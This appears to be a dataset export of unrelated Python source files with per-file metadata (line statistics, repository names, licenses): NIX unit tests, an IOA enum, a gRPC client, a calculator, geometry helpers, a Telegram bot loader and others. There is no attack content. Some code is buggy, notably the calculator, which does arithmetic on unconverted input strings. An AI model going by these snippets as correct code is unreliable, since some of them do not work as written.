self.sample_dim.index_of(offset - 0.3, nix.IndexMode.GreaterOrEqual) == 0 # invalid oob with self.assertRaises(IndexError): self.sample_dim.index_of(offset - 0.2, nix.IndexMode.Less) with self.assertRaises(IndexError): self.sample_dim.index_of(0, nix.IndexMode.Less) with self.assertRaises(IndexError): self.sample_dim.index_of(offset - 0.01, nix.IndexMode.LessOrEqual) with self.assertRaises(IndexError): self.sample_dim.index_of(offset - 0.5) def test_range_dimension_modes(self): # exact assert self.range_dim.index_of(0) == 0 assert self.range_dim.index_of(0, nix.IndexMode.LessOrEqual) == 0 assert self.range_dim.index_of(0, nix.IndexMode.GreaterOrEqual) == 0 assert self.range_dim.index_of(7) == 7 assert self.range_dim.index_of(7, nix.IndexMode.LessOrEqual) == 7 assert self.range_dim.index_of(7, nix.IndexMode.LessOrEqual) == 7 assert self.range_dim.index_of(7, nix.IndexMode.GreaterOrEqual) == 7 assert self.range_dim.index_of(7, nix.IndexMode.Less) == 6 # rounding assert self.range_dim.index_of(4.2) == 4 assert self.range_dim.index_of(4.2, nix.IndexMode.LessOrEqual) == 4 assert self.range_dim.index_of(4.2, nix.IndexMode.Less) == 4 assert self.range_dim.index_of(4.2, nix.IndexMode.GreaterOrEqual) == 5 # valid oob below assert self.range_dim.index_of(-30, nix.IndexMode.GreaterOrEqual) == 0 # valid oob above assert self.range_dim.index_of(12989) == test_range[-1] assert self.range_dim.index_of(12989, nix.IndexMode.LessOrEqual) == test_range[-1] assert self.range_dim.index_of(12989, nix.IndexMode.Less) == test_range[-1] # invalid oob with self.assertRaises(IndexError): self.range_dim.index_of(0, nix.IndexMode.Less) with self.assertRaises(IndexError): self.range_dim.index_of(-1, nix.IndexMode.Less) with self.assertRaises(IndexError): self.range_dim.index_of(-10, nix.IndexMode.LessOrEqual) with self.assertRaises(IndexError): self.range_dim.index_of(-10) with self.assertRaises(IndexError): self.range_dim.index_of(12398, nix.IndexMode.GreaterOrEqual) with self.assertRaises(IndexError): self.range_dim.index_of(test_range[-1]+0.001, nix.IndexMode.GreaterOrEqual) class TestLinkDimension(unittest.TestCase): def setUp(self): self.tmpdir = TempDir("linkdimtest") self.testfilename = os.path.join(self.tmpdir.path, "linkdimtest.nix") self.file = nix.File.open(self.testfilename, nix.FileMode.Overwrite) self.block = self.file.create_block("test block", "test.session") self.array = self.block.create_data_array( "test array", "signal", nix.DataType.Float, data=np.random.random_sample((3, 15)) ) self.set_dim = self.array.append_set_dimension() self.range_dim = self.array.append_range_dimension() def tearDown(self): del self.file.blocks[self.block.id] self.file.close() self.tmpdir.cleanup() def test_data_array_range_link_dimension(self): tickarray = self.block.create_data_array( "ticks", "array.dimension.ticks", data=np.linspace(0, 100, 15) ) tickarray.label = "DIMENSION LABEL" tickarray.unit = "mV" self.range_dim.link_data_array(tickarray, [-1]) assert np.all(tickarray[:] == self.range_dim.ticks) assert tickarray.unit == self.range_dim.unit assert tickarray.label == self.range_dim.label tickarray3d = self.block.create_data_array( "ticks3d", "array.dimension.ticks", data=np.random.random_sample((20, 15, 4)) ) tickarray3d.unit = "mA" ticks = np.cumsum(np.random.random_sample(15)) tickarray3d[3, :, 1] = ticks tickarray3d.label = "DIMENSION LABEL 2" self.range_dim.link_data_array(tickarray3d, [3, -1, 1]) assert np.shape(ticks) == np.shape(self.range_dim.ticks) assert np.all(ticks == self.range_dim.ticks) assert tickarray3d.unit == self.range_dim.unit assert tickarray3d.label == self.range_dim.label def test_data_array_set_link_dimension(self): labelarray = self.block.create_data_array( "labels", "array.dimension.labels", data=["Alpha", "Beta", "Gamma"], dtype=nix.DataType.String ) self.set_dim.link_data_array(labelarray, [-1]) assert np.all(labelarray[:] == self.set_dim.labels) labelarray2d = self.block.create_data_array( "labels2d", "array.dimension.labels", dtype=nix.DataType.String, data=[["Alpha1", "Beta1", "Gamma1"], ["Alpha2", "Beta2", "Gamma2"]], ) self.set_dim.link_data_array(labelarray2d, [1, -1]) assert np.all(("Alpha2", "Beta2", "Gamma2") == self.set_dim.labels) assert np.all(labelarray2d[1, :] == self.set_dim.labels) def test_data_array_self_link_range_dimension(self): # The new way of making alias range dimension da = self.block.create_data_array("alias da", "dimticks", data=np.random.random_sample(10)) da.label = "alias dimension label" da.unit = "F" rdim = da.append_range_dimension() rdim.link_data_array(da, [-1]) assert len(da.dimensions) == 1 assert da.dimensions[0].label == da.label assert da.dimensions[0].unit == da.unit assert np.all(da.dimensions[0].ticks == da[:]) assert rdim.is_alias da.delete_dimensions() da.append_range_dimension() assert not da.dimensions[0].is_alias da.delete_dimensions() da.append_range_dimension_using_self() assert len(da.dimensions) == 1 assert da.dimensions[0].is_alias da.delete_dimensions() with self.assertRaises(IncompatibleDimensions): da.append_range_dimension_using_self([0, -1]) with self.assertRaises(ValueError): da.append_range_dimension_using_self([-2]) da.append_range_dimension_using_self([-1]) assert len(da.dimensions) == 1 assert da.dimensions[0].is_alias def test_data_array_self_link_set_dimension(self): # The new way of making alias range dimension labelda = self.block.create_data_array("alias da", "dimlabels", data=np.random.random_sample(10)) rdim = labelda.append_set_dimension() rdim.link_data_array(labelda, [-1]) assert len(labelda.dimensions) == 1 assert np.all(labelda.dimensions[0].labels == labelda[:]) def test_data_frame_range_link_dimension(self): column_descriptions = OrderedDict([("name", nix.DataType.String), ("id", nix.DataType.String), ("duration", nix.DataType.Double)]) def randtick(): time_stamp = 0 while True: time_stamp += np.random.random_sample() yield time_stamp tickgen = randtick() values = [("Alpha", "a", next(tickgen)), ("Beta", 'b', next(tickgen)), ("Gamma", 'c', next(tickgen)), ("Alpha", "a", next(tickgen)), ("Gamma", 'c', next(tickgen)), ("Alpha", "a", next(tickgen)), ("Gamma", 'c', next(tickgen)), ("Alpha", "a", next(tickgen)), ("Beta", 'b', next(tickgen))] units = (None, None, "s") df = self.block.create_data_frame("df-dimension", "array.dimension.labels", col_dict=column_descriptions, data=values) df.units = units self.range_dim.link_data_frame(df, 2) np.testing.assert_almost_equal(self.range_dim.ticks, tuple(v[2] for v in values)) assert self.range_dim.unit == df.units[2] assert self.range_dim.label == df.column_names[2] assert not self.range_dim.is_alias def test_data_frame_set_link_dimension(self): column_descriptions = OrderedDict([("name", nix.DataType.String), ("id", nix.DataType.String), ("duration", nix.DataType.Float)]) def rdura(): return np.random.random_sample() * 30 values = [("Alpha", "a", rdura()), ("Beta", 'b', rdura()), ("Gamma", 'c', rdura()), ("Alpha", "a", rdura()), ("Gamma", 'c', rdura()), ("Alpha", "a", rdura()), ("Gamma", 'c', rdura()), ("Alpha", "a", rdura()), ("Beta", 'b', rdura())] units = (None, None, "s") df = self.block.create_data_frame("df-dimension", "array.dimension.labels", col_dict=column_descriptions, data=values) df.units = units self.set_dim.link_data_frame(df, 1) assert self.set_dim.labels == tuple(v[1] for v in values) def test_data_array_linking_errors(self): da = self.block.create_data_array("baddim", "dimension.error.test", data=np.random.random_sample((3, 4, 2))) # index dimensionality mismatch with self.assertRaises(nix.exceptions.IncompatibleDimensions): self.set_dim.link_data_array(da, [0, -1]) with self.assertRaises(nix.exceptions.IncompatibleDimensions): self.range_dim.link_data_array(da, [0, -1, 3, 3]) # no -1 in index with self.assertRaises(ValueError): self.set_dim.link_data_array(da, [0, 0, 0]) with self.assertRaises(ValueError): self.range_dim.link_data_array(da, [1, 1, 1]) # multiple -1 (or negative)in index with self.assertRaises(ValueError): self.set_dim.link_data_array(da, [-1, -1, 0]) with self.assertRaises(ValueError): self.range_dim.link_data_array(da, [-1, -1, 1]) with self.assertRaises(ValueError): self.set_dim.link_data_array(da, [-2, 0, 0]) with self.assertRaises(ValueError): self.range_dim.link_data_array(da, [-2, 0, 1]) with self.assertRaises(ValueError): self.set_dim.link_data_array(da, [-10, -10, 0]) with self.assertRaises(ValueError): self.range_dim.link_data_array(da, [-10, -10, 1]) def test_data_frame_linking_errors(self): column_descriptions = OrderedDict([("name", nix.DataType.String), ("id", nix.DataType.String), ("score", nix.DataType.Float)]) values = [("Alpha", "a", 0), ("Beta", 'b', 100), ("Gamma", 'c', 50), ("Alpha", "a", 10), ("Gamma", 'c', 42), ("Alpha", "a", 93), ("Gamma", 'c', 23), ("Alpha", "a", 37), ("Beta", 'b', 87)] df = self.block.create_data_frame("df-dimension", "array.dimension.labels", col_dict=column_descriptions, data=values) for badidx in [-110, -5, -1, 3, 4, 34]: with self.assertRaises(nix.exceptions.OutOfBounds): self.set_dim.link_data_frame(df, badidx) with self.assertRaises(nix.exceptions.OutOfBounds): self.range_dim.link_data_frame(df, badidx) def test_sampled_dimension_unsupported(self): sdim = self.array.append_sampled_dimension(0.1) da = self.block.create_data_array("baddim", "dimension.error.test", data=np.random.random_sample((3, 4, 2))) with self.assertRaises(RuntimeError): sdim.link_data_array(da, [0]) column_descriptions = OrderedDict([("name", nix.DataType.String), ("id", nix.DataType.String), ("duration", nix.DataType.Float)]) values = [("Alpha", "a", 0), ("Beta", 'b', 0), ("Gamma", 'c', 0), ("Alpha", "a", 0), ("Gamma", 'c', 0), ("Alpha", "a", 0), ("Gamma", 'c', 0), ("Alpha", "a", 0), ("Beta", 'b', 0)] df = self.block.create_data_frame("df-dimension", "array.dimension.labels", col_dict=column_descriptions, data=values) with self.assertRaises(RuntimeError): sdim.link_data_array(df, 10) def test_write_linked_array_props(self): tickarray = self.block.create_data_array( "ticks3d", "array.dimension.ticks", data=np.random.random_sample((10, 5, 4)) ) tickarray.unit = "whatever" ticks = np.cumsum(np.random.random_sample(5)) tickarray[3, :, 1] = ticks tickarray.label = "DIMENSION LABEL" self.range_dim.link_data_array(tickarray, [3, -1, 1]) assert tickarray.unit == self.range_dim.unit assert tickarray.label == self.range_dim.label self.range_dim.unit = "something else" assert tickarray.unit == "something else" assert tickarray.unit == self.range_dim.unit self.range_dim.label = "MODIFIED DIMENSION LABEL" assert tickarray.label == "MODIFIED DIMENSION LABEL" assert tickarray.unit == self.range_dim.unit def test_write_linked_dataframe_props(self): column_descriptions = OrderedDict([("name", nix.DataType.String), ("id", nix.DataType.String), ("duration", nix.DataType.Double)]) values = [("Alpha", "a", 0), ("Beta", 'b', 0), ("Gamma", 'c', 0), ("Alpha", "a", 0), ("Gamma", 'c', 0), ("Alpha", "a", 0), ("Gamma", 'c', 0), ("Alpha", "a", 0), ("Beta", 'b', 0)] units = (None, None, "s") df = self.block.create_data_frame("df-dimension", "array.dimension.labels", col_dict=column_descriptions, data=values) df.units = units self.range_dim.link_data_frame(df, 2) assert self.range_dim.unit == df.units[2] assert self.range_dim.label == df.column_names[2] self.range_dim.unit = "m" assert df.units[2] == "m" assert self.range_dim.unit == df.units[2] with self.assertRaises(RuntimeError): # Can't change label: column name self.range_dim.label = "a whole new label" def test_range_link_tick_replacement(self): tickarray = self.block.create_data_array( "ticks", "array.dimension.ticks", data=np.linspace(0, 100, 15) ) assert "link" not in self.range_dim._h5group assert "ticks" not in self.range_dim._h5group # add link self.range_dim.link_data_array(tickarray, [-1]) assert "link" in self.range_dim._h5group assert "ticks" not in self.range_dim._h5group # replace with ticks self.range_dim.ticks = np.cumsum(np.random.random_sample(10)) assert "link" not in self.range_dim._h5group assert "ticks" in self.range_dim._h5group # replace with link again self.range_dim.link_data_array(tickarray, [-1]) assert "link" in self.range_dim._h5group assert "ticks" not in self.range_dim._h5group
42.8
94
0.598505
4,043
32,100
4.575315
0.076676
0.058925
0.068115
0.040869
0.796464
0.745432
0.669478
0.583685
0.530598
0.487891
0
0.035114
0.281371
32,100
749
95
42.857143
0.766733
0.027259
0
0.390651
0
0
0.040177
0.007631
0
0
0
0
0.415693
1
0.048414
false
0
0.013356
0.001669
0.066778
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
6d3be5340d91b732332ec54eeb8e84a1b48d43a6
2,574
py
Python
dione/frontend/ioa_constructs.py
cyphyhouse/dione
80babe396e7171a8f902571cc0c3c90d837f4c22
[ "NCSA" ]
1
2021-03-19T02:57:58.000Z
2021-03-19T02:57:58.000Z
dione/frontend/ioa_constructs.py
cyphyhouse/dione
80babe396e7171a8f902571cc0c3c90d837f4c22
[ "NCSA" ]
null
null
null
dione/frontend/ioa_constructs.py
cyphyhouse/dione
80babe396e7171a8f902571cc0c3c90d837f4c22
[ "NCSA" ]
1
2020-06-11T15:33:34.000Z
2020-06-11T15:33:34.000Z
from enum import Enum, auto, unique class AutoName(Enum): def _generate_next_value_(self, start, count, last_values) -> str: assert isinstance(self, str) region_sep = "_REGION_INTERNAL" if self != region_sep and \ ("$" + region_sep.lower()) not in last_values: # reserved words return self.lower() # else: # internal structs return "$" + self.lower() @unique class IOA(AutoName): def __str__(self): return str(self.value) @classmethod def get(cls, key, default): try: return cls[key.upper()] except KeyError: return default # region reserved words AUTOMATON = auto() COMPONENTS = auto() COMPOSITION = auto() EFF = auto() ELSE = auto() FOR = auto() HIDDEN = auto() IF = auto() INITIALLY = auto() INPUT = auto() INTERNAL = auto() INVARIANT_OF = auto() OUTPUT = auto() PASS = auto() PRE = auto() SIGNATURE = auto() SIMULATION = auto() STATES = auto() TRAJECTORIES = auto() TRANSITIONS = auto() TYPE = auto() WHERE = auto() # endregion _REGION_INTERNAL = auto() # region internal syntax constructs. This must be after __REGION_INTERNAL ASSIGN = auto() AUTOMATON_INSTANCE = auto() DECL_COMPONENT = auto() DECL_VAR = auto() FORMAL_ACT = auto() FORMAL_PARA_LIST = auto() FORMAL_PARA = auto() ACTUAL_PARA_LIST = auto() ACTUAL_PARA = auto() IDENTIFIER = auto() IOA_SPEC = auto() SHORTHAND = auto() TRANSITION = auto() TYPE_DEF = auto() # endregion class IOAScope: """ Keep track of current scope using a stack while comparable with IOA value """ def __init__(self): self.__stack = [] def __eq__(self, other: IOA) -> bool: assert self.__stack return self.__stack[-1] == other @property def value(self): assert self.__stack return self.__stack[-1].value def enter(self, ioa_construct): # TODO check if the scope always goes to lower level self.__stack.append(ioa_construct) def exit(self): self.__stack.pop() class IOAScopeHandler: """ Make sure the scope is correctly set and reset via `with` statement""" def __init__(self, scope, ioa_construct): self.__scope = scope self.__ioa = ioa_construct def __enter__(self): self.__scope.enter(self.__ioa) def __exit__(self, type, value, traceback): self.__scope.exit()
24.514286
78
0.597902
295
2,574
4.942373
0.413559
0.04321
0.020576
0.028807
0.042524
0.042524
0.042524
0
0
0
0
0.001103
0.29526
2,574
104
79
24.75
0.802646
0.13481
0
0.025641
1
0
0.008186
0
0
0
0
0.009615
0.038462
1
0.141026
false
0.012821
0.012821
0.012821
0.769231
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
6d47430e59c22263c8bce9fb35d524869e8edf26
270
py
Python
tests/data/work-V/round-5/plot_se.py
granrothge/multiphonon
486a998eeb6b73b964a58ba0f98fe3ece15bdf6e
[ "MIT" ]
1
2019-05-22T08:46:09.000Z
2019-05-22T08:46:09.000Z
tests/data/work-V/round-5/plot_se.py
granrothge/multiphonon
486a998eeb6b73b964a58ba0f98fe3ece15bdf6e
[ "MIT" ]
118
2016-04-04T12:27:15.000Z
2021-08-18T01:46:13.000Z
tests/data/work-V/round-5/plot_se.py
granrothge/multiphonon
486a998eeb6b73b964a58ba0f98fe3ece15bdf6e
[ "MIT" ]
5
2017-09-28T16:01:12.000Z
2020-01-31T18:58:09.000Z
#!/usr/bin/env python import os curdir = os.path.dirname(__file__) import matplotlib as mpl mpl.rcParams['figure.figsize'] = 12,9 from multiphonon.backward.plotutils import plot_intermediate_result_se as plot plot(curdir) from matplotlib import pyplot as plt plt.show()
27
78
0.803704
42
270
5
0.690476
0
0
0
0
0
0
0
0
0
0
0.012397
0.103704
270
9
79
30
0.855372
0.074074
0
0
0
0
0.056225
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
ed9a08e2d462f688da206f2ffc89f54207373892
3,161
py
Python
test/test_trigger.py
anis-byanjankar/openeew-detection
68e1e08c449334ba51e659f0cd6ec1e492cfd39b
[ "Apache-2.0" ]
34
2020-07-02T20:20:46.000Z
2021-11-15T20:15:34.000Z
test/test_trigger.py
EdrianI/openeew-detection
596d0ea61059c035261080c692e4ddf12e9106fe
[ "Apache-2.0" ]
56
2020-07-13T18:48:04.000Z
2021-03-03T18:38:59.000Z
test/test_trigger.py
EdrianI/openeew-detection
596d0ea61059c035261080c692e4ddf12e9106fe
[ "Apache-2.0" ]
22
2020-07-02T17:31:49.000Z
2021-12-31T18:34:22.000Z
from unittest import TestCase from numpy import array, ndarray from numpy.testing import assert_array_equal from trigger import accel_value, trigger_time class TriggerTimeTest(TestCase): def test_estimates_when_function_exceeds(self): function = 10 t = array([1599574034]) trig_level = 100 expected = ndarray([]) actual = trigger_time(function, t, trig_level) assert_array_equal(expected, actual) class TestAccelValue(TestCase): def test_it_provides_the_right_value(self): """ [x,y,z,accel_value] x,y and z values were randomly generated accel_value = ((x**2 + y**2 + z**2)**0.5) """ testCases = [ [1, 2, 2, 3], [2, 4, 4, 6], [2, -1, 2, 3], [-4, -4, 2, 6], [4, -2, 4, 6], [2, 2, -1, 3], [-5.444444444, -10.33333333, -4.111111111, 12.38228524], [6.555555556, 7.111111111, -5.111111111, 10.93922605], [7.888888889, -5.222222222, 11, 14.50883086], [7.111111111, 2.222222222, -8.111111111, 11.01345978], [3.333333333, -6.666666667, 2.777777778, 7.954345035], [-7.222222222, -8.666666667, -7.333333333, 13.45545922], [2.555555556, 8.333333333, -3.444444444, 9.372273266], [-10.88888889, 5.555555556, -10.77777778, 16.29701177], [1.777777778, 2.888888889, 2.111111111, 3.995367688], [-1.333333333, 3, -8.333333333, 8.956685895], [-8.111111111, -10.55555556, -9.111111111, 16.13140484], [9, -11, 10.66666667, 17.77013725], [9.777777778, -5.555555556, 3, 11.63912092], [-8.555555556, 5.777777778, -7.555555556, 12.79322737], [1.222222222, 1.111111111, -3.777777778, 4.123105626], [1.111111111, -11, 9.666666667, 14.68601417], [-8.222222222, 3.222222222, 4.555555556, 9.936837562], [9.555555556, -9.888888889, 7.555555556, 15.69028952], [-10.44444444, -2.666666667, 0.222222222, 10.7817862], [-3.666666667, -1.444444444, 11.11111111, 11.78930254], [8.222222222, 0.888888889, 3.333333333, 8.916623399], [1.555555556, -4.333333333, -7.888888889, 9.134117295], [-0.555555556, 8.444444444, 7.111111111, 11.05374078], [-7.222222222, 8, -10.33333333, 14.93111756], [7.222222222, -3.222222222, 7.111111111, 10.63537076], [-1.666666667, -2, 5.333333333, 5.934831272], [-2.555555556, 5.111111111, -4.777777778, 7.448589228], [3.111111111, 3.444444444, -9.666666667, 10.72322966], [-9, 4.666666667, -5.444444444, 11.5073782], [-0.666666667, 8.222222222, 10.11111111, 13.04928928], [-8.111111111, -4.222222222, -4.888888889, 10.36911368], [-2.555555556, 0.111111111, -9, 9.356452847], [10, -1.222222222, -2.555555556, 10.39349274], ] for test in testCases: assert_array_equal( round(accel_value(test[0], test[1], test[2]), 4), round(test[3], 4) )
44.521127
83
0.567542
388
3,161
4.564433
0.291237
0.022586
0.027103
0
0
0
0
0
0
0
0
0.555168
0.274597
3,161
70
84
45.157143
0.217183
0.032585
0
0
0
0
0
0
0
0
0
0
0.050847
1
0.033898
false
0
0.067797
0
0.135593
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
edb90cfd8882bc163e67aa1f85d297077bd0d337
2,945
py
Python
src/net/ConnectionFactory.py
ntsvetanov/mishmash-io-client-python
98704ee1b16d384dbe3d8ae50171a53c419835dd
[ "Apache-2.0" ]
null
null
null
src/net/ConnectionFactory.py
ntsvetanov/mishmash-io-client-python
98704ee1b16d384dbe3d8ae50171a53c419835dd
[ "Apache-2.0" ]
null
null
null
src/net/ConnectionFactory.py
ntsvetanov/mishmash-io-client-python
98704ee1b16d384dbe3d8ae50171a53c419835dd
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 MISHMASH I O OOD # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import asyncio import uuid from grpclib.client import Channel from grpclib.events import listen, SendRequest import mishmash_rpc_grpc from net.MishmashConnectionParameters import MishmashConnectionParameters class ConnectionFactory(): __stub = None __channel = None @staticmethod def get_stream(): return ConnectionFactory.__stub.stream.open() #Todo add get mutation @staticmethod async def __on_send_request(event, options): event.metadata['x-mishmash-app-id'] = str(uuid.uuid4()) # todo аpp id == MISHMASHIO_AUTH_APP_ID ? event.metadata['authorization'] = "Bearer {}".format( options.get_auth_app_id()) @staticmethod def set_connection(connection_parameters): if ConnectionFactory.__channel: return ConnectionFactory.__channel if not isinstance(connection_parameters, MishmashConnectionParameters): raise WrongConnectionParametersTypeException(" type of connection parameters is {}, it must be MishmashConnectionParameters".format(type(connection_parameters))) ConnectionFactory.__channel = Channel(connection_parameters.get_url(), connection_parameters.get_port(), ssl=connection_parameters.get_use_ssl()) # todo add ssl # todo add authentication methods if ConnectionFactory.__stub: # do i need this check raise StubAlreadyCreatedException() ConnectionFactory.__stub = mishmash_rpc_grpc.MishmashServiceStub(ConnectionFactory.__channel) listen(ConnectionFactory.__channel, SendRequest, lambda event, options = connection_parameters: ConnectionFactory.__on_send_request(event, options)) @staticmethod def close_channel(): if ConnectionFactory.__channel: ConnectionFactory.__channel.close() ConnectionFactory.__channel = None # do i need close stub method class ChannelAlreadyCreatedException(Exception): pass class ChannelHasNotBeenCreatedException(Exception): pass class StubAlreadyCreatedException(Exception): pass class StubHasNotBeenCreatedException(Exception): pass class WrongConnectionParametersTypeException(Exception): pass
31.329787
173
0.706621
298
2,945
6.788591
0.463087
0.07909
0.035591
0.015818
0.024716
0
0
0
0
0
0
0.003968
0.229881
2,945
94
174
31.329787
0.888007
0.240068
0
0.234043
0
0
0.05237
0.012641
0
0
0
0.010638
0
1
0.06383
false
0.106383
0.12766
0.021277
0.404255
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
2
edcd2cd61c20a5be2fd9fcb9d7338c9c57e706ea
461
py
Python
Python/mathematical calculator.py
not4YU5H/hacktoberfest2021-2
ae3d17f8bef81aa79231ee07db46a79841b4b06b
[ "CC0-1.0" ]
81
2021-10-01T13:19:13.000Z
2021-10-06T08:43:35.000Z
Python/mathematical calculator.py
not4YU5H/hacktoberfest2021-2
ae3d17f8bef81aa79231ee07db46a79841b4b06b
[ "CC0-1.0" ]
67
2021-10-01T13:43:46.000Z
2021-10-06T13:55:49.000Z
Python/mathematical calculator.py
not4YU5H/hacktoberfest2021-2
ae3d17f8bef81aa79231ee07db46a79841b4b06b
[ "CC0-1.0" ]
394
2021-10-01T11:55:24.000Z
2021-10-06T13:45:57.000Z
# take two input numbers number1 = input("Insert first number : ") number2 = input("Insert second number : ") operator = input("Insert operator (+ or - or * or /)") if operator == '+': total = number1 + number2 elif operator == '-': total = number1 - number2 elif operator == '*': total = number2 * number1 elif operator == '/': total = number1 / number2 else: total = "invalid operator" # printing output print(total)
23.05
55
0.609544
49
461
5.734694
0.408163
0.185053
0.213523
0.288256
0.377224
0.266904
0.266904
0
0
0
0
0.02907
0.253796
461
20
56
23.05
0.787791
0.08243
0
0
0
0
0.246269
0
0
0
0
0
0
1
0
false
0
0
0
0
0.071429
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
eddc7027d79f30ef3a917e7c6af1b4e40c8edc34
854
py
Python
worksheet/2020/geometry.py
adadesions/python-afternoon
57b99cd5dbce0848260d38ef0b18c4ca021d5262
[ "MIT" ]
null
null
null
worksheet/2020/geometry.py
adadesions/python-afternoon
57b99cd5dbce0848260d38ef0b18c4ca021d5262
[ "MIT" ]
null
null
null
worksheet/2020/geometry.py
adadesions/python-afternoon
57b99cd5dbce0848260d38ef0b18c4ca021d5262
[ "MIT" ]
null
null
null
# Geometry.py # Tasks # Write these functions to calculate following tasks # 1. Areas ==> Circle, Triangle, Reactangle, Square,.. # 2. Volumes ==> Sphere, Pyramid, Prism, Cone, def rectangle(width, length): return width * length def perimeter_rect(width, length): return 2*width + 2*length def triangle(base, height): return 0.5 * base * height def perimeter_triangle(a, b, c): return a + b + c if __name__ == '__main__': print("Geometry.py") area_rect = rectangle(10, 100) peri_rect = perimeter_rect(10, 100) area_tri = triangle(30, 60) peri_tri = perimeter_triangle(10, 20, 30) print(f'Area of React = {area_rect} unit sqrt.') print(f'Perimeter of React = {peri_rect} unit.') print('='*50) print(f'Area of Triangle = {area_tri} unit sqrt') print(f'Perimeter of Triangle = {peri_tri} unit')
28.466667
54
0.666276
123
854
4.463415
0.430894
0.043716
0.061931
0.043716
0.091075
0.091075
0
0
0
0
0
0.041056
0.201405
854
30
55
28.466667
0.76393
0.194379
0
0
0
0
0.255132
0
0
0
0
0
0
1
0.210526
false
0
0
0.210526
0.421053
0.315789
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
ede81e380a2c8163f421e14e33a5da3515d94487
255
py
Python
solutions/Pascal_s_Triangle_2.py
AlexGameAndWebDev/CodeWars-Python
222b8244e9f248dbb4e5fabd390dd4cce446dc84
[ "MIT" ]
44
2015-05-24T13:46:22.000Z
2022-03-22T10:40:10.000Z
solutions/Pascal_s_Triangle_2.py
badruu/CodeWars-Python
222b8244e9f248dbb4e5fabd390dd4cce446dc84
[ "MIT" ]
3
2016-09-10T07:14:02.000Z
2021-09-14T12:16:25.000Z
solutions/Pascal_s_Triangle_2.py
badruu/CodeWars-Python
222b8244e9f248dbb4e5fabd390dd4cce446dc84
[ "MIT" ]
48
2016-04-03T04:48:33.000Z
2022-03-14T23:32:17.000Z
def pascal(p): result = [] for i in range(p): if i == 0: result.append([1]) else: result.append([1] + [result[i - 1][j] + result[i - 1][j + 1] for j in range(len(result[i - 1]) - 1)] + [1]) return result
31.875
119
0.458824
40
255
2.925
0.4
0.179487
0.205128
0.153846
0
0
0
0
0
0
0
0.054217
0.34902
255
8
120
31.875
0.650602
0
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0
0
0.25
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
edf297863c3df51267c0e5b0126e0b0de2c4fda1
366
py
Python
src/wellsfargo/apps.py
thelabnyc/django-oscar-wfrs
9abd4ecbdafd597407fdf60657103cb5d29c4c8b
[ "0BSD" ]
1
2021-02-08T05:54:56.000Z
2021-02-08T05:54:56.000Z
src/wellsfargo/apps.py
thelabnyc/django-oscar-wfrs
9abd4ecbdafd597407fdf60657103cb5d29c4c8b
[ "0BSD" ]
24
2019-12-04T21:37:01.000Z
2022-03-11T23:16:20.000Z
src/wellsfargo/apps.py
thelabnyc/django-oscar-wfrs
9abd4ecbdafd597407fdf60657103cb5d29c4c8b
[ "0BSD" ]
2
2016-05-31T10:02:35.000Z
2016-12-19T11:29:37.000Z
from django.utils.translation import gettext_lazy as _ from oscar.core.application import OscarConfig class WFRSConfig(OscarConfig): name = "wellsfargo" label = "wellsfargo" # Translators: Backend Library Name verbose_name = _("Wells Fargo Retail Services") namespace = "wellsfargo" def ready(self): from . import handlers # NOQA
26.142857
54
0.715847
40
366
6.45
0.775
0
0
0
0
0
0
0
0
0
0
0
0.20765
366
13
55
28.153846
0.889655
0.103825
0
0
0
0
0.175385
0
0
0
0
0
0
1
0.111111
false
0
0.333333
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
6106c1fb5656b51d4328b9aba59a977827ba3057
462
py
Python
telegram_bot/loader.py
Oorzhakau/TeamForce_bot
b8037d53b228bc2ab5149fa67dde6bea17f25a65
[ "MIT" ]
null
null
null
telegram_bot/loader.py
Oorzhakau/TeamForce_bot
b8037d53b228bc2ab5149fa67dde6bea17f25a65
[ "MIT" ]
null
null
null
telegram_bot/loader.py
Oorzhakau/TeamForce_bot
b8037d53b228bc2ab5149fa67dde6bea17f25a65
[ "MIT" ]
null
null
null
""" Инициализация бота bot, машины состояния storage и диспетчера dp. """ import os import sys from pathlib import Path from aiogram import Bot, Dispatcher, types from aiogram.contrib.fsm_storage.memory import MemoryStorage DATA_DIR = os.path.join(Path(__file__).parents[1]) sys.path.append(DATA_DIR) from data import config bot = Bot(token=config.BOT_TOKEN, parse_mode=types.ParseMode.HTML) storage = MemoryStorage() dp = Dispatcher(bot, storage=storage)
22
66
0.787879
67
462
5.298507
0.522388
0.061972
0
0
0
0
0
0
0
0
0
0.002451
0.116883
462
20
67
23.1
0.867647
0.140693
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.545455
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
